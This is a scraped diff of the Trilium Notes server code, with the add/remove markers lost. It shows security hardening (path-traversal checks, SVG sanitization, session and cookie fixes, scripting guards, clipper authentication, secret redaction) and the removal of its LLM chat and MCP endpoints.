"move-note-down": "Przenieś notatkę w dół",
@@ -59,7 +59,7 @@
"show-backend-log": "Otwórz stronę \"Logi backendu\"",
"show-help": "Otwórz wbudowany Poradnik Użytkownika",
"show-cheatsheet": "Pokaż listę skrótów klawiszowych",
"text-note-operations": "Operacje na notatkach",
"text-note-operations": "Operacje na notatkach tekstowych",
"add-link-to-text": "Otwórz okno dodawania linku do tekstu",
"follow-link-under-cursor": "Podążaj za linkiem pod kursorem",
"insert-date-and-time-to-text": "Wstaw aktualną datę i czas",

View File

@@ -61,8 +61,7 @@ export default class Becca {
name = name.substr(1);
}
const key = `${type}-${name}`;
return Object.hasOwn(this.attributeIndex, key) ? this.attributeIndex[key] : [];
return this.attributeIndex[`${type}-${name}`] || [];
}
findAttributesWithPrefix(type: string, name: string): BAttribute[] {
@@ -90,11 +89,11 @@ export default class Becca {
}
getNote(noteId: string): BNote | null {
return Object.hasOwn(this.notes, noteId) ? this.notes[noteId] : null;
return this.notes[noteId];
}
getNoteOrThrow(noteId: string): BNote {
const note = Object.hasOwn(this.notes, noteId) ? this.notes[noteId] : null;
const note = this.notes[noteId];
if (!note) {
throw new NotFoundError(`Note '${noteId}' doesn't exist.`);
}
@@ -106,7 +105,7 @@ export default class Becca {
const filteredNotes: BNote[] = [];
for (const noteId of noteIds) {
const note = Object.hasOwn(this.notes, noteId) ? this.notes[noteId] : null;
const note = this.notes[noteId];
if (!note) {
if (ignoreMissing) {
@@ -123,7 +122,7 @@ export default class Becca {
}
getBranch(branchId: string): BBranch | null {
return Object.hasOwn(this.branches, branchId) ? this.branches[branchId] : null;
return this.branches[branchId];
}
getBranchOrThrow(branchId: string): BBranch {
@@ -135,7 +134,7 @@ export default class Becca {
}
getAttribute(attributeId: string): BAttribute | null {
return Object.hasOwn(this.attributes, attributeId) ? this.attributes[attributeId] : null;
return this.attributes[attributeId];
}
getAttributeOrThrow(attributeId: string): BAttribute {
@@ -148,8 +147,7 @@ export default class Becca {
}
getBranchFromChildAndParent(childNoteId: string, parentNoteId: string): BBranch | null {
const key = `${childNoteId}-${parentNoteId}`;
return Object.hasOwn(this.childParentToBranch, key) ? this.childParentToBranch[key] : null;
return this.childParentToBranch[`${childNoteId}-${parentNoteId}`];
}
getRevision(revisionId: string): BRevision | null {
@@ -197,7 +195,7 @@ export default class Becca {
}
getOption(name: string): BOption | null {
return Object.hasOwn(this.options, name) ? this.options[name] : null;
return this.options[name];
}
getEtapiTokens(): BEtapiToken[] {
@@ -205,7 +203,7 @@ export default class Becca {
}
getEtapiToken(etapiTokenId: string): BEtapiToken | null {
return Object.hasOwn(this.etapiTokens, etapiTokenId) ? this.etapiTokens[etapiTokenId] : null;
return this.etapiTokens[etapiTokenId];
}
getEntity<T extends AbstractBeccaEntity<T>>(entityName: string, entityId: string): AbstractBeccaEntity<T> | null {
@@ -225,8 +223,7 @@ export default class Becca {
throw new Error(`Unknown entity name '${camelCaseEntityName}' (original argument '${entityName}')`);
}
const collection = (this as any)[camelCaseEntityName];
return Object.hasOwn(collection, entityId) ? collection[entityId] : null;
return (this as any)[camelCaseEntityName][entityId];
}
getRecentNotesFromQuery(query: string, params: string[] = []): BRecentNote[] {

View File

@@ -17,11 +17,6 @@ export declare module "express-serve-static-core" {
"user-agent"?: string;
};
}
interface Response {
/** Set to true to prevent apiResultHandler from double-handling the response (e.g., for SSE streams) */
triliumResponseHandled?: boolean;
}
}
export declare module "express-session" {

View File

@@ -6,27 +6,6 @@
// Migrations should be kept in descending order, so the latest migration is first.
const MIGRATIONS: (SqlMigration | JsMigration)[] = [
// Add missing database indices for query performance
{
version: 235,
sql: /*sql*/`
CREATE INDEX IF NOT EXISTS IDX_entity_changes_isSynced_id
ON entity_changes (isSynced, id);
CREATE INDEX IF NOT EXISTS IDX_entity_changes_isErased_entityName
ON entity_changes (isErased, entityName);
CREATE INDEX IF NOT EXISTS IDX_notes_isDeleted_utcDateModified
ON notes (isDeleted, utcDateModified);
CREATE INDEX IF NOT EXISTS IDX_branches_isDeleted_utcDateModified
ON branches (isDeleted, utcDateModified);
CREATE INDEX IF NOT EXISTS IDX_attributes_isDeleted_utcDateModified
ON attributes (isDeleted, utcDateModified);
CREATE INDEX IF NOT EXISTS IDX_attachments_isDeleted_utcDateModified
ON attachments (isDeleted, utcDateModified);
DROP INDEX IF EXISTS IDX_branches_parentNoteId;
CREATE INDEX IF NOT EXISTS IDX_branches_parentNoteId_isDeleted_notePosition
ON branches (parentNoteId, isDeleted, notePosition);
`
},
// Migrate aiChat notes to code notes since LLM integration has been removed
{
version: 234,

View File

@@ -171,7 +171,8 @@ function setExpandedForSubtree(req: Request<{ branchId: string, expanded: string
// root is always expanded
branchIds = branchIds.filter((branchId) => branchId !== "none_root");
sql.executeMany(/*sql*/`UPDATE branches SET isExpanded = ${expanded} WHERE branchId IN (???)`, branchIds);
const expandedValue = expanded ? 1 : 0;
sql.executeMany(/*sql*/`UPDATE branches SET isExpanded = ${expandedValue} WHERE branchId IN (???)`, branchIds);
for (const branchId of branchIds) {
const branch = becca.branches[branchId];

View File

@@ -1,6 +1,7 @@
import chokidar from "chokidar";
import type { Request, Response } from "express";
import fs from "fs";
import path from "path";
import { Readable } from "stream";
import tmp from "tmp";
@@ -203,13 +204,36 @@ function saveToTmpDir(fileName: string, content: string | Buffer, entityType: st
};
}
/**
* Validates that the given file path is a known temporary file created by this server
* and resides within the expected temporary directory. This prevents path traversal
* attacks (CWE-22) where an attacker could read arbitrary files from the filesystem.
*/
function validateTemporaryFilePath(filePath: string): void {
if (!filePath || typeof filePath !== "string") {
throw new ValidationError("Missing or invalid file path.");
}
// Check 1: The file must be in our set of known temporary files created by saveToTmpDir().
if (!createdTemporaryFiles.has(filePath)) {
throw new ValidationError(`File '${filePath}' is not a tracked temporary file.`);
}
// Check 2 (defense-in-depth): Resolve to an absolute path and verify it is within TMP_DIR.
// This guards against any future bugs where a non-temp path could end up in the set.
const resolvedPath = path.resolve(filePath);
const resolvedTmpDir = path.resolve(dataDirs.TMP_DIR);
if (!resolvedPath.startsWith(resolvedTmpDir + path.sep) && resolvedPath !== resolvedTmpDir) {
throw new ValidationError(`File path '${filePath}' is outside the temporary directory.`);
}
}
function uploadModifiedFileToNote(req: Request<{ noteId: string }>) {
const noteId = req.params.noteId;
const { filePath } = req.body;
if (!createdTemporaryFiles.has(filePath)) {
throw new ValidationError(`File '${filePath}' is not a temporary file.`);
}
validateTemporaryFilePath(filePath);
const note = becca.getNoteOrThrow(noteId);
@@ -230,6 +254,8 @@ function uploadModifiedFileToAttachment(req: Request<{ attachmentId: string }>)
const { attachmentId } = req.params;
const { filePath } = req.body;
validateTemporaryFilePath(filePath);
const attachment = becca.getAttachmentOrThrow(attachmentId);
log.info(`Updating attachment '${attachmentId}' with content from '${filePath}'`);

View File

@@ -10,6 +10,21 @@ describe("Image API", () => {
expect(response.headers["Content-Type"]).toBe("image/svg+xml");
expect(response.body).toBe(`<svg xmlns="http://www.w3.org/2000/svg"></svg>`);
});
it("sets Content-Security-Policy header on SVG responses", () => {
const parentNote = note("note").note;
const response = new MockResponse();
renderSvgAttachment(parentNote, response as any, "attachment");
expect(response.headers["Content-Security-Policy"]).toBeDefined();
expect(response.headers["Content-Security-Policy"]).toContain("default-src 'none'");
});
it("sets X-Content-Type-Options header on SVG responses", () => {
const parentNote = note("note").note;
const response = new MockResponse();
renderSvgAttachment(parentNote, response as any, "attachment");
expect(response.headers["X-Content-Type-Options"]).toBe("nosniff");
});
});
class MockResponse {

View File

@@ -6,6 +6,7 @@ import type BNote from "../../becca/entities/bnote.js";
import type BRevision from "../../becca/entities/brevision.js";
import imageService from "../../services/image.js";
import { RESOURCE_DIR } from "../../services/resource_dir.js";
import { sanitizeSvg, setSvgHeaders } from "../../services/svg_sanitizer.js";
function returnImageFromNote(req: Request<{ noteId: string }>, res: Response) {
const image = becca.getNote(req.params.noteId);
@@ -35,6 +36,12 @@ function returnImageInt(image: BNote | BRevision | null, res: Response) {
renderSvgAttachment(image, res, "mindmap-export.svg");
} else if (image.type === "spreadsheet") {
renderPngAttachment(image, res, "spreadsheet-export.png");
} else if (image.mime === "image/svg+xml") {
// SVG images require sanitization to prevent stored XSS
const content = image.getContent();
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
setSvgHeaders(res);
res.send(sanitized);
} else {
res.set("Content-Type", image.mime);
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
@@ -57,9 +64,9 @@ export function renderSvgAttachment(image: BNote | BRevision, res: Response, att
}
}
res.set("Content-Type", "image/svg+xml");
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
res.send(svg);
const sanitized = sanitizeSvg(svg);
setSvgHeaders(res);
res.send(sanitized);
}
export function renderPngAttachment(image: BNote | BRevision, res: Response, attachmentName: string) {
@@ -86,9 +93,17 @@ function returnAttachedImage(req: Request<{ attachmentId: string }>, res: Respon
return res.setHeader("Content-Type", "text/plain").status(400).send(`Attachment '${attachment.attachmentId}' has role '${attachment.role}', but 'image' was expected.`);
}
res.set("Content-Type", attachment.mime);
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
res.send(attachment.getContent());
if (attachment.mime === "image/svg+xml") {
// SVG attachments require sanitization to prevent stored XSS
const content = attachment.getContent();
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
setSvgHeaders(res);
res.send(sanitized);
} else {
res.set("Content-Type", attachment.mime);
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
res.send(attachment.getContent());
}
}
function updateImage(req: Request<{ noteId: string }>) {

View File

@@ -1,104 +0,0 @@
import type { LlmMessage } from "@triliumnext/commons";
import type { Request, Response } from "express";
import { generateChatTitle } from "../../services/llm/chat_title.js";
import { getAllModels, getProviderByType, hasConfiguredProviders, type LlmProviderConfig } from "../../services/llm/index.js";
import { streamToChunks } from "../../services/llm/stream.js";
import log from "../../services/log.js";
import { safeExtractMessageAndStackFromError } from "../../services/utils.js";
interface ChatRequest {
messages: LlmMessage[];
config?: LlmProviderConfig;
}
/**
* SSE endpoint for streaming chat completions.
*
* Response format (Server-Sent Events):
* data: {"type":"text","content":"Hello"}
* data: {"type":"text","content":" world"}
* data: {"type":"done"}
*
* On error:
* data: {"type":"error","error":"Error message"}
*/
async function streamChat(req: Request, res: Response) {
const { messages, config = {} } = req.body as ChatRequest;
if (!messages || !Array.isArray(messages) || messages.length === 0) {
res.status(400).json({ error: "messages array is required" });
return;
}
// Set up SSE headers - disable compression and buffering for real-time streaming
res.setHeader("Content-Type", "text/event-stream");
res.setHeader("Cache-Control", "no-cache, no-transform");
res.setHeader("Connection", "keep-alive");
res.setHeader("X-Accel-Buffering", "no"); // Disable nginx buffering
res.flushHeaders();
// Mark response as handled to prevent double-handling by apiResultHandler
res.triliumResponseHandled = true;
// Type assertion for flush method (available when compression is used)
const flushableRes = res as Response & { flush?: () => void };
try {
if (!hasConfiguredProviders()) {
res.write(`data: ${JSON.stringify({ type: "error", error: "No LLM providers configured. Please add a provider in Options → AI / LLM." })}\n\n`);
return;
}
const provider = getProviderByType(config.provider || "anthropic");
const result = provider.chat(messages, config);
// Get pricing and display name for the model
const modelId = config.model || provider.getAvailableModels().find(m => m.isDefault)?.id;
if (!modelId) {
res.write(`data: ${JSON.stringify({ type: "error", error: "No model specified and no default model available for the provider." })}\n\n`);
return;
}
const pricing = provider.getModelPricing(modelId);
const modelDisplayName = provider.getAvailableModels().find(m => m.id === modelId)?.name || modelId;
for await (const chunk of streamToChunks(result, { model: modelDisplayName, pricing })) {
res.write(`data: ${JSON.stringify(chunk)}\n\n`);
// Flush immediately to ensure real-time streaming
if (typeof flushableRes.flush === "function") {
flushableRes.flush();
}
}
// Auto-generate a title for the chat note on the first user message
const userMessages = messages.filter(m => m.role === "user");
if (userMessages.length === 1 && config.chatNoteId) {
try {
await generateChatTitle(config.chatNoteId, userMessages[0].content);
} catch (err) {
// Title generation is best-effort; don't fail the chat
log.error(`Failed to generate chat title: ${safeExtractMessageAndStackFromError(err)}`);
}
}
} catch (error) {
const errorMessage = error instanceof Error ? error.message : "Unknown error";
res.write(`data: ${JSON.stringify({ type: "error", error: errorMessage })}\n\n`);
} finally {
res.end();
}
}
/**
* Get available models from all configured providers.
*/
function getModels(_req: Request, _res: Response) {
if (!hasConfiguredProviders()) {
return { models: [] };
}
return { models: getAllModels() };
}
export default {
streamChat,
getModels
};

View File

@@ -78,7 +78,7 @@ import recoveryCodeService from "../../services/encryption/recovery_codes";
* type: string
* example: "Auth request time is out of sync, please check that both client and server have correct time. The difference between clocks has to be smaller than 5 minutes"
*/
function loginSync(req: Request) {
async function loginSync(req: Request) {
if (!sqlInit.schemaExists()) {
return [500, { message: "DB schema does not exist, can't sync." }];
}
@@ -112,6 +112,17 @@ function loginSync(req: Request) {
return [400, { message: "Sync login credentials are incorrect. It looks like you're trying to sync two different initialized documents which is not possible." }];
}
// Regenerate session to prevent session fixation attacks.
await new Promise<void>((resolve, reject) => {
req.session.regenerate((err) => {
if (err) {
reject(err);
} else {
resolve();
}
});
});
req.session.loggedIn = true;
return {

View File

@@ -104,9 +104,14 @@ const ALLOWED_OPTIONS = new Set<OptionNames>([
"experimentalFeatures",
"newLayout",
"mfaEnabled",
"mfaMethod",
"llmProviders",
"mcpEnabled"
"mfaMethod"
]);
// Options that contain secrets (API keys, tokens, etc.).
// These can be written by the client but are never sent back in GET responses.
const WRITE_ONLY_OPTIONS = new Set<OptionNames>([
"openaiApiKey",
"anthropicApiKey"
]);
function getOptions() {
@@ -114,12 +119,19 @@ function getOptions() {
const resultMap: Record<string, string> = {};
for (const optionName in optionMap) {
if (isAllowed(optionName)) {
if (isReadable(optionName)) {
resultMap[optionName] = optionMap[optionName as OptionNames];
}
}
resultMap["isPasswordSet"] = optionMap["passwordVerificationHash"] ? "true" : "false";
// Expose boolean flags for write-only (secret) options so the client
// knows whether a value has been configured without revealing the value.
for (const secretOption of WRITE_ONLY_OPTIONS) {
resultMap[`is${secretOption.charAt(0).toUpperCase()}${secretOption.slice(1)}Set`] =
optionMap[secretOption] ? "true" : "false";
}
// if database is read-only, disable editing in UI by setting 0 here
if (config.General.readOnly) {
resultMap["autoReadonlySizeText"] = "0";
@@ -154,7 +166,10 @@ function update(name: string, value: string) {
}
if (name !== "openNoteContexts") {
log.info(`Updating option '${name}' to '${value}'`);
const logValue = (WRITE_ONLY_OPTIONS as Set<string>).has(name)
? "[redacted]"
: value;
log.info(`Updating option '${name}' to '${logValue}'`);
}
optionService.setOption(name as OptionNames, value);
@@ -192,13 +207,20 @@ function getSupportedLocales() {
return getLocales();
}
function isAllowed(name: string) {
/** Check if an option can be read by the client (GET responses). */
function isReadable(name: string) {
return (ALLOWED_OPTIONS as Set<string>).has(name)
|| name.startsWith("keyboardShortcuts")
|| name.endsWith("Collapsed")
|| name.startsWith("hideArchivedNotes");
}
/** Check if an option can be written by the client (PUT requests). */
function isAllowed(name: string) {
return isReadable(name)
|| (WRITE_ONLY_OPTIONS as Set<string>).has(name);
}
export default {
getOptions,
updateOption,

View File

@@ -8,6 +8,7 @@ import scriptService, { type Bundle } from "../../services/script.js";
import sql from "../../services/sql.js";
import syncService from "../../services/sync.js";
import { safeExtractMessageAndStackFromError } from "../../services/utils.js";
import { assertScriptingEnabled, isScriptingEnabled } from "../../services/scripting_guard.js";
interface ScriptBody {
script: string;
@@ -23,6 +24,7 @@ interface ScriptBody {
// need to await it and make the complete response including metadata available in a Promise, so that the route detects
// this and does result.then().
async function exec(req: Request) {
assertScriptingEnabled();
try {
const body = req.body as ScriptBody;
@@ -45,6 +47,7 @@ async function exec(req: Request) {
}
function run(req: Request<{ noteId: string }>) {
assertScriptingEnabled();
const note = becca.getNoteOrThrow(req.params.noteId);
const result = scriptService.executeNote(note, { originEntity: note });
@@ -69,6 +72,10 @@ function getBundlesWithLabel(label: string, value?: string) {
}
function getStartupBundles(req: Request) {
if (!isScriptingEnabled()) {
return [];
}
if (!process.env.TRILIUM_SAFE_MODE) {
if (req.query.mobile === "true") {
return getBundlesWithLabel("run", "mobileStartup");
@@ -81,6 +88,10 @@ function getStartupBundles(req: Request) {
}
function getWidgetBundles() {
if (!isScriptingEnabled()) {
return [];
}
if (!process.env.TRILIUM_SAFE_MODE) {
return getBundlesWithLabel("widget");
}
@@ -89,6 +100,10 @@ function getWidgetBundles() {
}
function getRelationBundles(req: Request<{ noteId: string, relationName: string }>) {
if (!isScriptingEnabled()) {
return [];
}
const noteId = req.params.noteId;
const note = becca.getNoteOrThrow(noteId);
const relationName = req.params.relationName;
@@ -118,6 +133,8 @@ function getRelationBundles(req: Request<{ noteId: string, relationName: string
}
function getBundle(req: Request<{ noteId: string }>) {
assertScriptingEnabled();
const note = becca.getNoteOrThrow(req.params.noteId);
const { script, params } = req.body ?? {};

View File

@@ -86,29 +86,6 @@ function createSearchNote(req: Request) {
return specialNotesService.createSearchNote(searchString, ancestorNoteId);
}
function createLlmChat() {
return specialNotesService.createLlmChat();
}
function getMostRecentLlmChat() {
const chat = specialNotesService.getMostRecentLlmChat();
// Return null explicitly if no chat found (not undefined)
return chat || null;
}
function getOrCreateLlmChat() {
return specialNotesService.getOrCreateLlmChat();
}
function getRecentLlmChats(req: Request) {
const limit = parseInt(req.query.limit as string) || 10;
return specialNotesService.getRecentLlmChats(limit);
}
function saveLlmChat(req: Request) {
return specialNotesService.saveLlmChat(req.body.llmChatNoteId);
}
function getHoistedNote() {
return becca.getNote(cls.getHoistedNoteId());
}
@@ -142,11 +119,6 @@ export default {
saveSqlConsole,
createSearchNote,
saveSearchNote,
createLlmChat,
getMostRecentLlmChat,
getOrCreateLlmChat,
getRecentLlmChats,
saveLlmChat,
createLauncher,
resetLauncher,
createOrUpdateScriptLauncherFromApi

View File

@@ -4,6 +4,7 @@ import becca from "../../becca/becca.js";
import ValidationError from "../../errors/validation_error.js";
import sql from "../../services/sql.js";
import { safeExtractMessageAndStackFromError } from "../../services/utils.js";
import { assertSqlConsoleEnabled } from "../../services/scripting_guard.js";
interface Table {
name: string;
@@ -25,6 +26,7 @@ function getSchema() {
}
function execute(req: Request<{ noteId: string }>) {
assertSqlConsoleEnabled();
const note = becca.getNoteOrThrow(req.params.noteId);
const content = note.getContent();

View File

@@ -3,6 +3,7 @@ import { doubleCsrf } from "csrf-csrf";
import sessionSecret from "../services/session_secret.js";
import { isElectron } from "../services/utils.js";
import config from "../services/config.js";
export const CSRF_COOKIE_NAME = "trilium-csrf";
@@ -16,7 +17,7 @@ const doubleCsrfUtilities = doubleCsrf({
getSecret: () => sessionSecret,
cookieOptions: {
path: "/",
secure: false,
secure: config.Network.https,
sameSite: "strict",
httpOnly: !isElectron // set to false for Electron, see https://github.com/TriliumNext/Trilium/pull/966
},

View File

@@ -6,9 +6,15 @@ import sql from "../services/sql.js";
import becca from "../becca/becca.js";
import type { Request, Response, Router } from "express";
import { safeExtractMessageAndStackFromError, normalizeCustomHandlerPattern } from "../services/utils.js";
import { isScriptingEnabled } from "../services/scripting_guard.js";
function handleRequest(req: Request, res: Response) {
if (!isScriptingEnabled()) {
res.status(403).send("Script execution is disabled on this server.");
return;
}
// handle path from "*path" route wildcard
// in express v4, you could just add
// req.params.path + req.params[0], but with v5
@@ -64,6 +70,14 @@ function handleRequest(req: Request, res: Response) {
if (attr.name === "customRequestHandler") {
const note = attr.getNote();
// Require authentication unless note has #customRequestHandlerPublic label
if (!note.hasLabel("customRequestHandlerPublic")) {
if (!req.session?.loggedIn) {
res.status(401).send("Authentication required for this endpoint.");
return;
}
}
log.info(`Handling custom request '${path}' with note '${note.noteId}'`);
try {

View File

@@ -115,7 +115,6 @@ class FakeResponse extends EventEmitter implements Pick<Response<any, Record<str
}
json(obj) {
this.respHeaders["Content-Type"] = "application/json";
this.send(JSON.stringify(obj));
return this as unknown as MockedResponse;
}

View File

@@ -1,62 +0,0 @@
/**
* MCP (Model Context Protocol) HTTP route handler.
*
* Mounts the Streamable HTTP transport at `/mcp` with a localhost-only guard.
* No authentication is required — access is restricted to loopback addresses.
*/
import type express from "express";
import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js";
import { createMcpServer } from "../services/mcp/mcp_server.js";
import log from "../services/log.js";
import optionService from "../services/options.js";
const LOCALHOST_ADDRESSES = new Set(["127.0.0.1", "::1", "::ffff:127.0.0.1"]);
function mcpGuard(req: express.Request, res: express.Response, next: express.NextFunction) {
if (optionService.getOptionOrNull("mcpEnabled") !== "true") {
res.status(403).json({ error: "MCP server is disabled. Enable it in Options > AI / LLM." });
return;
}
if (!LOCALHOST_ADDRESSES.has(req.socket.remoteAddress ?? "")) {
res.status(403).json({ error: "MCP is only available from localhost" });
return;
}
next();
}
async function handleMcpRequest(req: express.Request, res: express.Response) {
try {
const server = createMcpServer();
const transport = new StreamableHTTPServerTransport({
sessionIdGenerator: undefined // stateless
});
res.on("close", () => {
transport.close();
server.close();
});
await server.connect(transport);
await transport.handleRequest(req, res, req.body);
} catch (err) {
log.error(`MCP request error: ${err}`);
if (!res.headersSent) {
res.status(500).json({ error: "Internal MCP error" });
}
}
}
export function register(app: express.Application) {
app.post("/mcp", mcpGuard, handleMcpRequest);
app.get("/mcp", mcpGuard, handleMcpRequest);
app.delete("/mcp", mcpGuard, handleMcpRequest);
log.info("MCP server registered at /mcp (localhost only)");
}
export default { register };

View File

@@ -145,7 +145,7 @@ function internalRoute<P extends ParamsDictionary>(method: HttpMethod, path: str
function handleResponse(resultHandler: ApiResultHandler, req: express.Request, res: express.Response, result: unknown, start: number) {
// Skip result handling if the response has already been handled
if (res.triliumResponseHandled) {
if ((res as any).triliumResponseHandled) {
// Just log the request without additional processing
log.request(req, res, Date.now() - start, 0);
return;
@@ -161,7 +161,7 @@ function handleException(e: unknown | Error, method: HttpMethod, path: string, r
log.error(`${method} ${path} threw exception: '${errMessage}', stack: ${errStack}`);
// Skip sending response if it's already been handled by the route handler
if (res.triliumResponseHandled || res.headersSent) {
if ((res as unknown as { triliumResponseHandled?: boolean }).triliumResponseHandled || res.headersSent) {
return;
}

View File

@@ -15,7 +15,7 @@ import etapiSpecRoute from "../etapi/spec.js";
import etapiSpecialNoteRoutes from "../etapi/special_notes.js";
import auth from "../services/auth.js";
import openID from '../services/open_id.js';
import { isElectron } from "../services/utils.js";
import shareRoutes from "../share/routes.js";
import appInfoRoute from "./api/app_info.js";
import attachmentsApiRoute from "./api/attachments.js";
@@ -34,7 +34,6 @@ import fontsRoute from "./api/fonts.js";
import imageRoute from "./api/image.js";
import importRoute from "./api/import.js";
import keysRoute from "./api/keys.js";
import llmChatRoute from "./api/llm_chat.js";
import loginApiRoute from "./api/login.js";
import metricsRoute from "./api/metrics.js";
import noteMapRoute from "./api/note_map.js";
@@ -258,7 +257,7 @@ function register(app: express.Application) {
apiRoute(PST, "/api/bulk-action/execute", bulkActionRoute.execute);
apiRoute(PST, "/api/bulk-action/affected-notes", bulkActionRoute.getAffectedNoteCount);
route(PST, "/api/login/sync", [loginRateLimiter], loginApiRoute.loginSync, apiResultHandler);
asyncRoute(PST, "/api/login/sync", [loginRateLimiter], loginApiRoute.loginSync, apiResultHandler);
// this is for entering protected mode so user has to be already logged-in (that's the reason we don't require username)
apiRoute(PST, "/api/login/protected", loginApiRoute.loginToProtectedSession);
apiRoute(PST, "/api/login/protected/touch", loginApiRoute.touchProtectedSession);
@@ -271,8 +270,10 @@ function register(app: express.Application) {
apiRoute(PATCH, "/api/etapi-tokens/:etapiTokenId", etapiTokensApiRoutes.patchToken);
apiRoute(DEL, "/api/etapi-tokens/:etapiTokenId", etapiTokensApiRoutes.deleteToken);
// in case of local electron, local calls are allowed unauthenticated, for server they need auth
const clipperMiddleware = isElectron ? [] : [auth.checkEtapiToken];
// clipper API always requires ETAPI token authentication, regardless of environment.
// Previously, Electron builds skipped auth entirely, which exposed these endpoints
// to unauthenticated network access (content injection, information disclosure).
const clipperMiddleware = [auth.checkEtapiToken];
route(GET, "/api/clipper/handshake", clipperMiddleware, clipperRoute.handshake, apiResultHandler);
asyncRoute(PST, "/api/clipper/clippings", clipperMiddleware, clipperRoute.addClipping, apiResultHandler);
@@ -292,11 +293,6 @@ function register(app: express.Application) {
asyncApiRoute(PST, "/api/special-notes/save-sql-console", specialNotesRoute.saveSqlConsole);
apiRoute(PST, "/api/special-notes/search-note", specialNotesRoute.createSearchNote);
apiRoute(PST, "/api/special-notes/save-search-note", specialNotesRoute.saveSearchNote);
apiRoute(PST, "/api/special-notes/llm-chat", specialNotesRoute.createLlmChat);
apiRoute(GET, "/api/special-notes/most-recent-llm-chat", specialNotesRoute.getMostRecentLlmChat);
apiRoute(GET, "/api/special-notes/get-or-create-llm-chat", specialNotesRoute.getOrCreateLlmChat);
apiRoute(GET, "/api/special-notes/recent-llm-chats", specialNotesRoute.getRecentLlmChats);
apiRoute(PST, "/api/special-notes/save-llm-chat", specialNotesRoute.saveLlmChat);
apiRoute(PST, "/api/special-notes/launchers/:noteId/reset", specialNotesRoute.resetLauncher);
apiRoute(PST, "/api/special-notes/launchers/:parentNoteId/:launcherType", specialNotesRoute.createLauncher);
apiRoute(PUT, "/api/special-notes/api-script-launcher", specialNotesRoute.createOrUpdateScriptLauncherFromApi);
@@ -329,10 +325,6 @@ function register(app: express.Application) {
apiRoute(PST, "/api/script/bundle/:noteId", scriptRoute.getBundle);
apiRoute(GET, "/api/script/relation/:noteId/:relationName", scriptRoute.getRelationBundles);
// LLM chat endpoints
asyncRoute(PST, "/api/llm-chat/stream", [auth.checkApiAuthOrElectron, csrfMiddleware], llmChatRoute.streamChat, null);
apiRoute(GET, "/api/llm-chat/models", llmChatRoute.getModels);
// no CSRF since this is called from android app
route(PST, "/api/sender/login", [loginRateLimiter], loginApiRoute.token, apiResultHandler);
asyncRoute(PST, "/api/sender/image", [auth.checkEtapiToken, uploadMiddlewareWithErrorHandling], senderRoute.uploadImage, apiResultHandler);

View File

@@ -107,6 +107,8 @@ const sessionParser: express.RequestHandler = session({
cookie: {
path: "/",
httpOnly: true,
secure: config.Network.https,
sameSite: "lax",
maxAge: config.Session.cookieMaxAge * 1000 // needs value in milliseconds
},
name: "trilium.sid",

View File

@@ -5,7 +5,7 @@ import packageJson from "../../package.json" with { type: "json" };
import build from "./build.js";
import dataDir from "./data_dir.js";
const APP_DB_VERSION = 235;
const APP_DB_VERSION = 234;
const SYNC_VERSION = 37;
const CLIPPER_PROTOCOL_VERSION = "1.0";

View File

@@ -72,9 +72,16 @@ function periodBackup(optionName: "lastDailyBackupDate" | "lastWeeklyBackupDate"
}
async function backupNow(name: string) {
// Sanitize backup name to prevent path traversal (CWE-22).
// Only allow alphanumeric characters, hyphens, and underscores.
const sanitizedName = name.replace(/[^a-zA-Z0-9_-]/g, "");
if (!sanitizedName) {
throw new Error("Invalid backup name: must contain at least one alphanumeric character, hyphen, or underscore.");
}
// we don't want to back up DB in the middle of sync with potentially inconsistent DB state
return await syncMutexService.doExclusively(async () => {
const backupFile = path.resolve(`${dataDir.BACKUP_DIR}/backup-${name}.db`);
const backupFile = path.resolve(`${dataDir.BACKUP_DIR}/backup-${sanitizedName}.db`);
if (!fs.existsSync(dataDir.BACKUP_DIR)) {
fs.mkdirSync(dataDir.BACKUP_DIR, 0o700);

Some files were not shown because too many files have changed in this diff Show More